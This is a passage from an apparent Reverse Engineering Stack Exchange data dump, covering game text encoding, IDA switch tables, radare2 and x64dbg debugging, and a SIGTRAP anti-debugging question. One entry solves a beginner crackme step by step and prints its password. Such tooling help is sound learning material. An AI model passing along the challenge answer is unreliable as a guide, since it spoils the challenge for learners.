before.</p>\n\n<p>The PLT and GOT are parts of the ELF specification.</p>\n"
    },
    {
        "Id": "20109",
        "CreationDate": "2018-12-10T12:10:56.433",
        "Body": "<p>So I'm trying to hack the translation from the PS4 version of a game into the Vita version. The script files were conveniently uncompressed, and I was able to drop them in and have it working without a hitch - great!</p>\n\n<p>However, various other message files and quest summaries and the like are not so convenient.</p>\n\n<p>Here's a comparison of two files in a hex editor:\n<a href=\"https://i.stack.imgur.com/iih4q.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/iih4q.png\" alt=\"enter image description here\"></a></p>\n\n<p>At first I thought it was a simple byte-pair compression, but there's obviously more to it than that, because if you look at the places which correspond to \"Let's go!\" and \"Let's do this!\" they don't start with the same string of characters at all.</p>\n\n<p>I uploaded the PS4/Vita versions of a file with rather more readable text:\n<a href=\"https://www.dropbox.com/s/bw0nvexyi9ww2be/hm%20vita?dl=0\" rel=\"noreferrer\">https://www.dropbox.com/s/bw0nvexyi9ww2be/hm%20vita?dl=0</a>\n<a href=\"https://www.dropbox.com/s/sk74zadvndc8v9t/hm%20ps4?dl=0\" rel=\"noreferrer\">https://www.dropbox.com/s/sk74zadvndc8v9t/hm%20ps4?dl=0</a></p>\n\n<p>Going through it and looking for common and recurring words, I found this:</p>\n\n<pre><code>Goblin Thief\n\u00b40\u00d60\u00ea0\u00f30\u00b70\u00fc0\u00d50\nB430 D630 EA30 F330 B730 FC30 D530\n\nGoblin Thief Archer\n\u00b40\u00d60\u00ea0\u00f30\u00b70\u00fc0\u00d50\u00a20\u00fc0\u00c10\u00e30\u00fc0\nB430 D630 EA30 F330 B730 FC30 D530 A230 FC30 C130 E330 FC30\n\nAncient Grief\n\u00a80\u00f30\u00b70\u00a70\u00f30\u00c80\u00b00\u00ea0\u00fc0\u00d50\nA830 F330 B730 A730 F330 C830 B030 EA30 FC30 D530\n\nGrief Screamer\n\u00b00\u00ea0\u00fc0\u00d50\u00b90\u00af0\u00ea0\u00fc0\u00de0\u00fc0\nB030 EA30 FC30 D530 B930 AF30 EA30 FC30 DE30 FC30\n\nGrief\nEA30 FC30 D530\n\nThief\nB730 FC30 D530\n</code></pre>\n\n<p>So you can see that FC30 D530 is \"ief\".\nBut then I look for more occurences of \"gr\"</p>\n\n<pre><code>Deep Grudge\n\u00c70\u00a30\u00fc0\u00d70\u00b00\u00e90\u00c30\u00b80\nC730 A330 FC30 D730 B030 E930 C330 B830\n</code></pre>\n\n<p>And you don't see the EA30 that starts off \"Grief\".</p>\n\n<p>I have a feeling FC30 could be some kind of switch byte, either an upper case indication or possibly marking the use of some kind of lookup table? It's also interesting that all the lines which are just objectives/boss names have the --30 structure, but some of the descriptive passages don't seem to.</p>\n\n<p>The additional problem, of course, is that the uncompressed English text from the PS4 version <em>won't</em> be a 100% perfect match for the text from the Vita version -- that's the whole point, after all! So even when I look at the name \"Deep Grudge\" and notice that I don't see anything which looks like it would correspond to the \"Gr\" from \"Grief\", I can't be <em>certain</em> that they didn't change the name in the PS4 version.</p>\n\n<p>Does anyone have any suggestions on how I should be approaching this? If I'm right and there's actually some kind of compressed lookup table business going on, then it might be effectively impossible to reverse, right?</p>\n",
        "Title": "How should I approach reverse engineering this text encoding?",
        "Tags": "|encodings|",
        "Answer": "<p>The way you can learn this encoding is to study Japanese.  :)  From the first line of your text file diff, we can see that this on the left:</p>\n\n<pre><code>1131 3210 3130 3330 1021 0000 0000 0000  .12.1030.!......\n</code></pre>\n\n<p>Translates to this on the right:</p>\n\n<pre><code>1100 3100 3200 1000 3100 3000 3300 3000  ..1.2....1.0.3.0.\n1000 01ff 0000 0000 0000 0000 0000 0000  .................\n</code></pre>\n\n<p>This is a very strong hint that the file on the left is using an 8-bit encoding and that the one on the right is using a 16-bit encoding.  The digits are translated in a very straightforward way, but the exclamation point (\"!\") is <code>0x21</code> in ASCII or UTF-8 but <code>0x01ff</code> is the Unicode \"fullwidth exclamation mark\" encoded as UCS-2 (that is, UTF-16 encoded as little-endian).</p>\n\n<p>So with the hint about encoding we can see that the hex you've identified as \"Goblin Thief\"</p>\n\n<pre><code>b430 d630 ea30 f330 b730 fc30 d530\n</code></pre>\n\n<p>is rendered as \u30b4\u30d6\u30ea\u30f3\u30b7\u30fc\u30d5 which is the Katakana representation of the English words \"Goblin Thief\".  It's common for Japanese speakers to render foreign words into phonetic equivalents with <a href=\"https://en.wikipedia.org/wiki/Katakana\" rel=\"noreferrer\">Katakana</a>.  So taking it syllable-by-syllable we have:</p>\n\n<pre><code>\u30b4  go\n\u30d6  bu\n\u30ea  ri\n\u30f3  n\n\u30b7  shi\n\u30fc  (extended vowel)\n\u30d5  fu\n</code></pre>\n\n<p>So if we say it aloud, \"go bu ri n shi-i fu\" sounds like \"Goblin Thief\" as pronounced by a native Japanese speaker.  You can try <a href=\"https://translate.google.com/?hl=en&amp;tab=TT#view=home&amp;op=translate&amp;sl=ja&amp;tl=en&amp;text=%E3%82%B4%E3%83%96%E3%83%AA%E3%83%B3%E3%82%B7%E3%83%BC%E3%83%95\" rel=\"noreferrer\">Google translate</a> to experiment a bit more and to see and hear what this sounds like.  </p>\n"
    },
    {
        "Id": "20112",
        "CreationDate": "2018-12-10T18:29:13.290",
        "Body": "<p>I took the following C code and compiled it on Ubuntu 16.04 with GCC 5.4.0:</p>\n\n<pre><code>int main() {\n  int a = 0;\n  for (int i = 0; i &lt; 5; i++) {\n    switch (i) {\n      case 0:\n        a = 1;\n        break;\n      case 1:\n        a = 2;\n        break;\n      case 2:\n        a = 3;\n        break;\n      case 3:\n        a = 4;\n        break;\n      case 4:\n        a = 5;\n        break;\n      default:\n        a = 6;\n        break;\n    }\n  }\n}\n</code></pre>\n\n<p>I compiled this as a PIE binary with this command: <code>gcc -pie -fPIE test.c</code>. You can see the disassembly in IDA 6.95 below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/O7mNx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/O7mNx.png\" alt=\"disassembly\"></a></p>\n\n<p>Note that IDA was not able to identify the switch statement. Because I compiled this as PIE, the table located at 0x824 does not contain the absolute addresses to jump to, but the signed relative offsets:</p>\n\n<pre><code>.rodata:0000000000000824 ; signed int dword_824[5]\n.rodata:0000000000000824 dword_824       dd 0FFFFFF2Ah, 0FFFFFF33h, 0FFFFFF3Ch, 0FFFFFF45h, 0FFFFFF4Eh\n</code></pre>\n\n<p>I've tried to specify that this is a switch statement by going to <code>Edit -&gt; Other -&gt; Specify Switch Idiom</code>, but IDA still isn't able to figure it out. For example, this is one set of values I tried:</p>\n\n<p><img src=\"https://i.stack.imgur.com/G2ekP.png\" width=\"500\" /></p>\n\n<p>I tried a couple different permutations of configuration options here, but I couldn't get anything to work. What exactly do I need to do to teach IDA about this switch statement?</p>\n",
        "Title": "How can I make IDA understand this switch statement with a signed jump table?",
        "Tags": "|ida|disassembly|decompilation|",
        "Answer": "<p>I figured it out. Here's how the configuration should look, the important things are setting \"element base value\" to the offset of the jump table and checking \"Signed jump table elements\". Also, if you don't have the \"Input register of switch\" set to the right register, your graph view will look fine but decompilation will fail with \"switch analysis failed\".</p>\n\n<p><img src=\"https://i.stack.imgur.com/dK5Yx.png\" width=\"500\" /></p>\n"
    },
    {
        "Id": "20120",
        "CreationDate": "2018-12-11T08:08:17.577",
        "Body": "<blockquote>\n  <p>How to make Radare2 automatically disassemble next instruction after each <code>ds</code> debug single-step?</p>\n</blockquote>\n\n<p>I thought that <code>e asm.bytes=1</code> would achieve this, but that doesn't help.</p>\n\n<p>In particular, GDB supports disassembling the next instruction after each debug single-step, so I guess this should be possible with Radare2 as well.</p>\n",
        "Title": "How to make Radare2 automatically disassemble next instruction after each `ds` debug single-step?",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>If you want to execute another command after doing <code>ds</code> you can simply use <code>;</code> to add a new command. So for example, the command <code>ds; pd 1 @ rip</code> will step one instruction and disassemble the instruction at <code>rip</code>.</p>\n\n<p>You can also define a macro (an alias) for a set of commands. Let's define for example the macro <code>foo</code> to do the following things:</p>\n\n<ol>\n<li>Single step</li>\n<li>Print hexdump of 16 bytes at <code>rip</code></li>\n<li>Disassemble 1 instruction at <code>rip</code></li>\n</ol>\n\n<p>To do this you can simply run:</p>\n\n<pre><code>[0x7f46fea5ee00]&gt; (foo, ds, px 16 @ rip, pd 1 @ rip)\n</code></pre>\n\n<p>And then use it with <code>.(foo)</code>:</p>\n\n<pre><code>[0x7f46fea5ee00]&gt; .(foo)\n- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x7f46fea5ee1a  89c0 48c1 e220 4809 c248 8b05 0e70 0200  ..H.. H..H...p..\n            ;-- rip:\n            0x7f46fea5ee1a      89c0           mov eax, eax\n\n[0x7f46fea5ee00]&gt; .(foo)\n- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x7f46fea5ee1c  48c1 e220 4809 c248 8b05 0e70 0200 4889  H.. H..H...p..H.\n            ;-- rip:\n            0x7f46fea5ee1c      48c1e220       shl rdx, 0x20\n\n[0x7f46fea5ee00]&gt; .(foo)\n- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x7f46fea5ee20  4809 c248 8b05 0e70 0200 4889 156f 6802  H..H...p..H..oh.\n            ;-- rip:\n            0x7f46fea5ee20      4809c2         or rdx, rax\n</code></pre>\n\n<hr>\n\n<p><strong>Visual Modes</strong>  </p>\n\n<p>Now, after all this was said, I want to add that in my opinion, interactive debugging using <code>ds</code>, <code>dso</code>, <code>dc</code> and similar are the wrong approach. For a debugging session, it is preferred to use the Visual Modes of radare2. Visual Panels mode is ideal for debugging session but you can also enjoy from a good experience while using the regular Visual and Visual Graph modes.</p>\n\n<p>The following GIF shows the Visual Panels mode (<code>V!</code>) as well as the regular Visual mode. You can also see that by pressing <code>:</code> I can execute radare2 commands (in the gif I executed <code>px</code>). Visual Panels mode is very configurable and you can tweak it as you see fit. Simply use the <code>?</code> key to see the help and the available commands.</p>\n\n<p><a href=\"https://i.stack.imgur.com/xj7Y2.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xj7Y2.gif\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<p><strong>Read more:</strong></p>\n\n<ul>\n<li><a href=\"https://radare.gitbooks.io/radare2book/visual_mode/intro.html\" rel=\"nofollow noreferrer\">Visual Modes | r2 book</a></li>\n<li><a href=\"https://radare.gitbooks.io/radare2book/visual_mode/visual_panels.html\" rel=\"nofollow noreferrer\">Visual Panels Mode | r2book</a></li>\n<li><a href=\"https://radare.gitbooks.io/radare2book/scripting/macros.html\" rel=\"nofollow noreferrer\">Macros | r2book</a></li>\n</ul>\n"
    },
    {
        "Id": "20132",
        "CreationDate": "2018-12-14T01:38:39.580",
        "Body": "<p>I have a big library in which IDA found ~84300 functions but using <code>aa</code> in radare2 I was just able to found ~3000.</p>\n\n<p>I tried setting <code>anal.hasnext</code> to <code>true</code>, <code>anal.from</code> and <code>anal.to</code> to the start and the end of the .text section but with not luck</p>\n\n<p>So is there an optimal way to analyze all the functions using radare?</p>\n\n<p>By optimal I mean avoiding xrefs or other analyzis</p>\n\n<p>Thanks</p>\n",
        "Title": "Analyze all functions with radare2",
        "Tags": "|binary-analysis|radare2|",
        "Answer": "<p>To see the help of analysis you can use <code>aa?</code>. For a more detailed information i would always suggest visiting the sourcecode as a lot of <code>aa</code> commands are combinations of different steps. A good starting point is at <code>libr/core/cmd_anal.c</code></p>\n\n<p><code>aab</code> instead is a total different approach and can create a lot of false positives.</p>\n\n<p>You could also give <code>aaa</code> a try but i assume that will take some time to finish.</p>\n"
    },
    {
        "Id": "20159",
        "CreationDate": "2018-12-18T09:49:13.637",
        "Body": "<p>I am learning how to use IDC Scripting,or IDAPython in IDA for Reversing binary.One day i face this problem:</p>\n\n<p>You are given an array of random integer(4-byte integer) lies within the memory .The random number only be calculated while debugging .</p>\n\n<p>The task is : extract each of those 4-byte integer from that array and put them into a new array,print the new array on console.</p>\n\n<p>Arcording to what i have learned,IDA Hex-view present only 1 Hex Number in memory for each address. </p>\n\n<p>For Example : at address 00791A00 contains an integer 1134,00791A04 contains an iteger 4567.In Hex-view it will be like this</p>\n\n<pre><code>                     00791A00 : 34\n                     00791A01 : 11\n                     00791A02 : 00\n                     00791A03 : 00\n                     00791A04 : 67\n                     00791A05 : 45\n                     00791A06 : 00\n                     00791A07 : 00\n</code></pre>\n\n<p>Assuming the new array named \"arr\". So arr[0] = 0x1134,arr[1] = 0x4567. That's what i want!\nSo,i'm wondering how can i do that with IDAPython,or IDC?\nThe only thing i have known so far about IDC or IDAPython is writing a script to dump memory to a file.</p>\n\n<p>Here is the Link from where i learned to dump memory: <a href=\"https://stackoverflow.com/questions/42744445/how-in-ida-can-save-memory-dump-with-command-or-script\">https://stackoverflow.com/questions/42744445/how-in-ida-can-save-memory-dump-with-command-or-script</a></p>\n\n<p>I would appreciate if someone could give me a hint or walk me through with basic ideas on how to solve this problem.</p>\n",
        "Title": "IDA Dump Memory",
        "Tags": "|ida|python|",
        "Answer": "<p>from what i remember Ida would either show  bytes with db prefix in Ida-view<br>\nor as a group of 16 bytes in hex-view<br>\nI am not sure where you see a display like that  </p>\n\n<p><a href=\"https://i.stack.imgur.com/yePU9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yePU9.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>if you mean the Ida View press d two times will make the db (define byte ) prefix to \ndd (define dword)<br>\nand selecting one dd will highlight the corresponding dword in hex view as in pic below</p>\n\n<p><a href=\"https://i.stack.imgur.com/fmTsu.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fmTsu.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>You can make an array using MakeDword(),MakeArray() idc commands </p>\n\n<p><a href=\"https://i.stack.imgur.com/fgUtH.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fgUtH.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>if you want to print the dwords with address you can employ a script like this </p>\n\n<pre><code>auto i;\nfor(i =0; i&lt;5 ; i++) {\nMessage(\"%08x\\t:%08x\\n\",(ScreenEA() + (i*4))Dword(ScreenEA() +(i*4)));\n} \n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/MnU5t.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MnU5t.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "20177",
        "CreationDate": "2018-12-22T09:01:27.167",
        "Body": "<p>I thought it was strange when I was looking at the code below. The first instruction clearly has completed the task of data transfer and expansion into 16 bits. Why is there a \"mov Eax,ax\" in the assembly code?</p>\n\n<pre><code>    movzx   eax, word ptr [rbp+addr.sa_data]\n    movzx   eax, ax\n    mov     edi, eax\n    call    _htons\n</code></pre>\n",
        "Title": "What purpose of MOVZX EAX,AX after MOVZX EAX, WORD PTR [RBP+ADDR.SA_DATA]?",
        "Tags": "|ida|assembly|x86|",
        "Answer": "<p>Obviously the <code>movzx eax, ax</code> is useless.\nI would say this is unoptimized code, this C code could reproduce the same generated code.</p>\n\n<pre><code>#include &lt;stdint.h&gt;\n\nvoid f(uint16_t v)\n{\n}\n\nstruct S\n{\n        uint16_t a;\n};\n\nint main(void)\n{\n        struct S s;\n        s.a = 0x1122;\n        f(s.a);\n        return 0;\n}\n</code></pre>\n\n<p>Compiling with gcc without optimization options, the code is:</p>\n\n<pre><code>1134:       0f b7 45 fe             movzx  eax,WORD PTR [rbp-0x2]\n1138:       0f b7 c0                movzx  eax,ax\n113b:       89 c7                   mov    edi,eax\n113d:       e8 d7 ff ff ff          call   1119 &lt;f&gt;\n</code></pre>\n\n<p>Note, I wasn't able to produce the same result neither with clang or vc++.\nBesides, it only happens when the value is read from a structure.</p>\n"
    },
    {
        "Id": "20182",
        "CreationDate": "2018-12-22T21:26:52.990",
        "Body": "<p>is it possible to save the step-by-step execution route of the program?</p>\n\n<p>i.e. lets say in x64dbg the program executes one handle after another \n<a href=\"https://i.stack.imgur.com/dMKdH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dMKdH.png\" alt=\"enter image description here\"></a></p>\n\n<p>and so on, probably hundreds of calls...\nBut according to the specific function, it might show \"YES\" and \"NO\".</p>\n\n<p>So, I want to save/remember the steps from the beginning to the \"YES\" window, and then compare it to the execution/steps, when it shows \"NO\". </p>\n\n<p>So, I could see on <strong>which handle</strong> (specific logic in function) the difference happens.</p>\n",
        "Title": "How to save (trace) the execution route/sequences in debugger and Replay?",
        "Tags": "|debugging|x64dbg|",
        "Answer": "<p>You may want to use \"Trace record\" and \"Run trace\".</p>\n\n<p>Using Trace record, the debugger records and highlights every instructions as you step through the code. You will easily know when the same instruction is executed twice by virtue of the highlighting.</p>\n\n<p><a href=\"https://i.stack.imgur.com/9aeEo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9aeEo.png\" alt=\"enter image description here\"></a></p>\n\n<p>When \"Run trace\" is enabled with \"Trace record\", the debugger additionally saves the code execution path along with the state of the registers and associated memory at each step.</p>\n\n<p><a href=\"https://i.stack.imgur.com/7G8c5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7G8c5.png\" alt=\"enter image description here\"></a></p>\n\n<p>Further read: <a href=\"https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html\" rel=\"nofollow noreferrer\">https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html</a></p>\n"
    },
    {
        "Id": "20187",
        "CreationDate": "2018-12-24T13:35:18.820",
        "Body": "<p>I am trying to crack a crackme. I already catch the flag because I seen the string variable which represants flag. I would like to catch the flag on an other way, I want to set a breakpoint when there is a comparison of the string. I want to use radare2.</p>\n\n<p>When I use the <em>dc</em> command to run the program which should stop to breakpoint I set up, I have the message <em>TO DO continue</em>. I don't know why. I expected a message in the form :</p>\n\n<pre><code>string 1 : TheStringIEnter string 2 : TheFlagOfTheChallenge\n</code></pre>\n\n<p>This is the commands I execute :</p>\n\n<pre><code>radare 2 -d ch1.bin\ns sym.main\naaa\npdf\nVV\n:\n:&gt; db 0x08048705\n:&gt; dc\nTODO continue\n:&gt; \n</code></pre>\n\n<p>This is the output of pdf command :</p>\n\n<pre><code>[0x0804869d]&gt; pdf\n/ (fcn) main 155\n|   main (int argc, char **argv, char **envp);\n|           ; var int local_ch @ ebp-0xc\n|           ; var int local_8h @ ebp-0x8\n|           ; var int local_4h @ esp+0x4\n|           ; DATA XREF from entry0 (0x8048507)\n|           0x0804869d      8d4c2404       lea ecx, [local_4h]         ; 4\n|           0x080486a1      83e4f0         and esp, 0xfffffff0\n|           0x080486a4      ff71fc         push dword [ecx - 4]\n|           0x080486a7      55             push ebp\n|           0x080486a8      89e5           mov ebp, esp\n|           0x080486aa      51             push ecx\n|           0x080486ab      83ec24         sub esp, 0x24               ; '$'\n|           0x080486ae      c745f8418804.  mov dword [local_8h], str.123456789 ; 0x8048841 ; \"123456789\"\n|           0x080486b5      c704244c8804.  mov dword [esp], str.       ; [0x804884c:4]=0x23232323 ; \"############################################################\"\n|           0x080486bc      e807feffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x080486c1      c704248c8804.  mov dword [esp], str.welcome_to_challenge ; [0x804888c:4]=0x20202323 ; \"##        Welcome to this challenge        ##\"\n|           0x080486c8      e8fbfdffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x080486cd      c70424cc8804.  mov dword [esp], str.       ; [0x80488cc:4]=0x23232323 ; \"############################################################\\n\"\n|           0x080486d4      e8effdffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x080486d9      c704240c8904.  mov dword [esp], str.please_enter_pass: ; [0x804890c:4]=0x69756556 ; \"Please enter the password : \"\n|           0x080486e0      e8b3fdffff     call sym.imp.printf         ; int printf(const char *format)\n|           0x080486e5      8b45f4         mov eax, dword [local_ch]\n|           0x080486e8      890424         mov dword [esp], eax\n|           0x080486eb      e80effffff     call sym.getString\n|           0x080486f0      8945f4         mov dword [local_ch], eax\n|           0x080486f3      8b45f8         mov eax, dword [local_8h]\n|           0x080486f6      89442404       mov dword [local_4h], eax\n|           0x080486fa      8b45f4         mov eax, dword [local_ch]\n|           0x080486fd      890424         mov dword [esp], eax\n|           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)\n|           0x08048705      85c0           test eax, eax\n|       ,=&lt; 0x08048707      7515           jne 0x804871e\n|       |   0x08048709      8b45f8         mov eax, dword [local_8h]\n|       |   0x0804870c      89442404       mov dword [local_4h], eax\n|       |   0x08048710      c70424308904.  mov dword [esp], str.good_job:__s ; [0x8048930:4]=0x6e656942 ; \"Good job ! You just pass the challenge with the pass : %s!\\n\"\n|       |   0x08048717      e87cfdffff     call sym.imp.printf         ; int printf(const char *format)\n|      ,==&lt; 0x0804871c      eb0c           jmp 0x804872a\n|      ||   ; CODE XREF from main (0x8048707)\n|      |`-&gt; 0x0804871e      c70424708904.  mov dword [esp], str.bad__password. ; [0x8048970:4]=0x6d6d6f44 ; \"Bad password.\"\n|      |    0x08048725      e89efdffff     call sym.imp.puts           ; int puts(const char *s)\n|      |    ; CODE XREF from main (0x804871c)\n|      `--&gt; 0x0804872a      b800000000     mov eax, 0\n|           0x0804872f      83c424         add esp, 0x24               ; '$'\n|           0x08048732      59             pop ecx\n|           0x08048733      5d             pop ebp\n|           0x08048734      8d61fc         lea esp, [ecx - 4]\n\\           0x08048737      c3             ret\n[0x0804869d]&gt; \n</code></pre>\n",
        "Title": "Impossible to execute a program with radare2 : TO DO continue",
        "Tags": "|binary-analysis|decompilation|radare2|breakpoint|",
        "Answer": "<p>Here's how you do it with debugging.</p>\n\n<pre><code>$ r2 ch1.bin\n[0x080484f0]&gt; aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Type matching analysis for all functions (afta)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[0x080484f0]&gt; doo\nProcess with PID 18337 started...\nFile dbg:///tmp/ch1.bin  reopened in read-write mode\n= attach 18337 18337\n18337\n[0xf7f6fc70]&gt; pdf @ sym.main ~strcmp\n\u2502           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)\n</code></pre>\n\n<p>Set a breakpoint at the <code>strcmp</code> call and continue execution.</p>\n\n<pre><code>[0xf7f6fc70]&gt; s 0x08048700\n[0x08048700]&gt; db 0x08048700\n[0x08048700]&gt; dc\n############################################################\n##        Bienvennue dans ce challenge de cracking        ##\n############################################################\n\nVeuillez entrer le mot de passe : test\nhit breakpoint at: 8048700\n</code></pre>\n\n<p>Use <code>pxr</code> to dump <code>esp</code> with flags and information about addresses.</p>\n\n<pre><code>[0x08048700]&gt; pxr@esp~:0..5\n0xfff45270  0x09075570  pU.. @esp eax (test)\n0xfff45274  0x08048841  A... (.rodata) (/tmp/ch1.bin) str.123456789 program R X 'xor dword [edx], esi' 'ch1.bin' (123456789)\n0xfff45278  0xfff452a8  .R.. stack R W 0x0 --&gt;  edi\n0xfff4527c  0x08048769  i... (.text) (/tmp/ch1.bin) sym.__libc_csu_init program R X 'lea eax, [ebx - 0xe8]' 'ch1.bin'\n0xfff45280  0x00000000  .... edi\n[0x08048700]&gt;\n</code></pre>\n\n<p>Stack top points to our input <code>test</code> passed as first param to <code>strcmp</code>. The next <code>dword</code> points to the second param at <code>0x08048841</code> string 123456789.</p>\n\n<p>Since <code>strcmp</code> is a library function you can use <code>ltrace</code> to do the same.</p>\n\n<pre><code>$ ltrace ./ch1.bin\n__libc_start_main(0x804869d, 1, 0xffbe8304, 0x8048750 &lt;unfinished ...&gt;\nputs(\"################################\"...############################################################\n)                                               = 61\nputs(\"##        Bienvennue dans ce cha\"...##        Bienvennue dans ce challenge de cracking        ##\n)                                               = 61\nputs(\"################################\"...############################################################\n\n)                                               = 62\nprintf(\"Veuillez entrer le mot de passe \"...)                                             = 34\nmalloc(2)                                                                                 = 0x9352570\ngetchar(2, 0, 0xffbe8258, 0xf7d792f6Veuillez entrer le mot de passe : test\n)                                                     = 116\nrealloc(0x9352570, 2)                                                                     = 0x9352570\ngetchar(0x9352570, 2, 0xffbe8258, 0xf7d792f6)                                             = 101\nrealloc(0x9352570, 3)                                                                     = 0x9352570\ngetchar(0x9352570, 3, 0xffbe8258, 0xf7d792f6)                                             = 115\nrealloc(0x9352570, 4)                                                                     = 0x9352570\ngetchar(0x9352570, 4, 0xffbe8258, 0xf7d792f6)                                             = 116\nrealloc(0x9352570, 5)                                                                     = 0x9352570\ngetchar(0x9352570, 5, 0xffbe8258, 0xf7d792f6)                                             = 10\nstrcmp(\"test\", \"123456789\")                                                               = 1\nputs(\"Dommage, essaye encore une fois.\"...Dommage, essaye encore une fois.\n)                                               = 33\n+++ exited (status 0) +++\n</code></pre>\n\n<p>TBF you don't need to debug it at all and just static analysis would do.</p>\n\n<pre><code>[0x080484f0]&gt; pdf @ sym.main~strcmp\n\u2502           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)\n[0x080484f0]&gt; s 0x08048700\n[0x08048700]&gt; pd-10\n\u2502           0x080486d9      c704240c8904.  mov dword [esp], str.Veuillez_entrer_le_mot_de_passe_: ; [0x804890c:4]=0x69756556 ; \"Veuillez entrer le mot de passe : \" ; const char *format\n\u2502           0x080486e0      e8b3fdffff     call sym.imp.printf         ; int printf(const char *format)\n\u2502           0x080486e5      8b45f4         mov eax, dword [s1]\n\u2502           0x080486e8      890424         mov dword [esp], eax\n\u2502           0x080486eb      e80effffff     call sym.getString\n\u2502           0x080486f0      8945f4         mov dword [s1], eax\n\u2502           0x080486f3      8b45f8         mov eax, dword [local_8h]\n\u2502           0x080486f6      89442404       mov dword [s2], eax         ; const char *s2\n\u2502           0x080486fa      8b45f4         mov eax, dword [s1]\n\u2502           0x080486fd      890424         mov dword [esp], eax        ; const char *s1\n[0x08048700]&gt;\n</code></pre>\n\n<p>Now we know the arguments to <code>strcmp</code> : <code>s1</code> and <code>local_8h</code>. <code>s1</code> was populated with a call to <code>sym.getString</code>, so thats probably our input and hence <code>local_8h</code> is the string we need to find to match.</p>\n\n<p>We'll see where it was used//modified (read/write) in the function. Use afv(R/W)</p>\n\n<pre><code>[0x08048700]&gt; afv?\nUsage: afv  [rbs]\n| afvr[?]                       manipulate register based arguments\n| afvb[?]                       manipulate bp based arguments/locals\n| afvs[?]                       manipulate sp based arguments/locals\n| afv*                          output r2 command to add args/locals to flagspace\n| afvR [varname]                list addresses where vars are accessed (READ)\n| afvW [varname]                list addresses where vars are accessed (WRITE)\n| afva                          analyze function arguments/locals\n| afvd name                     output r2 command for displaying the value of args/locals in the debugger\n| afvn [new_name] ([old_name])  rename argument/local\n| afvt [name] [new_type]        change type for given argument/local\n| afv-([name])                  remove all or given var\n</code></pre>\n\n<p>Use this on <code>local_8h</code></p>\n\n<pre><code>[0x08048700]&gt; afvR local_8h\n  local_8h  0x80486f3,0x8048709\n[0x08048700]&gt; afvW local_8h\n  local_8h  0x80486ae\n</code></pre>\n\n<p>At 0x80486ae it was written to or initialized.</p>\n\n<pre><code>[0x08048700]&gt; pd3 @ 0x80486ae \n\u2502           0x080486ae      c745f8418804.  mov dword [local_8h], str.123456789 ; 0x8048841 ; \"123456789\"\n\u2502           0x080486b5      c704244c8804.  mov dword [esp], str.       ; [0x804884c:4]=0x23232323 ; \"############################################################\" ; const char *s\n\u2502           0x080486bc      e807feffff     call sym.imp.puts           ; int puts(const char *s)\n[0x08048700]&gt; \n</code></pre>\n\n<p>Here r2 resolved the address 0x8048841 to a string 123456789</p>\n"
    },
    {
        "Id": "20207",
        "CreationDate": "2018-12-27T09:58:05.873",
        "Body": "<p>I'm reversing an ELF x86 binary which apparently has anti-reversing/anti-debuging protections, and one of the first thing the ELF does is to call a sys_signal with a SIGTRAP value :</p>\n\n<pre><code>.text:08048063                 mov     eax, 48         ; sys_signal\n.text:08048068                 mov     ebx, 5          ; SIGTRAP\n.text:0804806D                 mov     ecx, offset sub_80480E2\n.text:08048072                 int     80h             ; LINUX - sys_signal\n.text:08048074                 jmp     short loc_8048077\n</code></pre>\n\n<p>I have three questions :</p>\n\n<ul>\n<li>First, am I right to think that the purpose of this is to create a handler for the SIGTRAP signal, probably in order to prevent any debuger use</li>\n<li>Second, if this is creating a SIGTRAP handler, I should find a <code>__sighandler_t</code> at <code>sub_80480E2</code>, according to <a href=\"https://github.com/Hackndo/misc/blob/master/syscalls32.md\" rel=\"nofollow noreferrer\">this x86 syscall table</a>. How can I setup IDA so that it recognizes it as a __sighandler_t struct?</li>\n<li>Third, I could not find any detailed information about this structure. What is its composition?</li>\n</ul>\n\n<p>I found in <code>signal.h</code> those lines : </p>\n\n<pre><code>/* Type of a signal handler.  */\ntypedef void (*__sighandler_t) (int);\n</code></pre>\n\n<p>Is __sighandler_t only a ptr to a function?</p>\n\n<p>Thanks ! Feel free to tell me if I'm not beeing clear or if I forgot a usefull information.</p>\n",
        "Title": "What is __sighandler_t struct and purpose of SIGTRAP signal handler",
        "Tags": "|ida|anti-debugging|struct|",
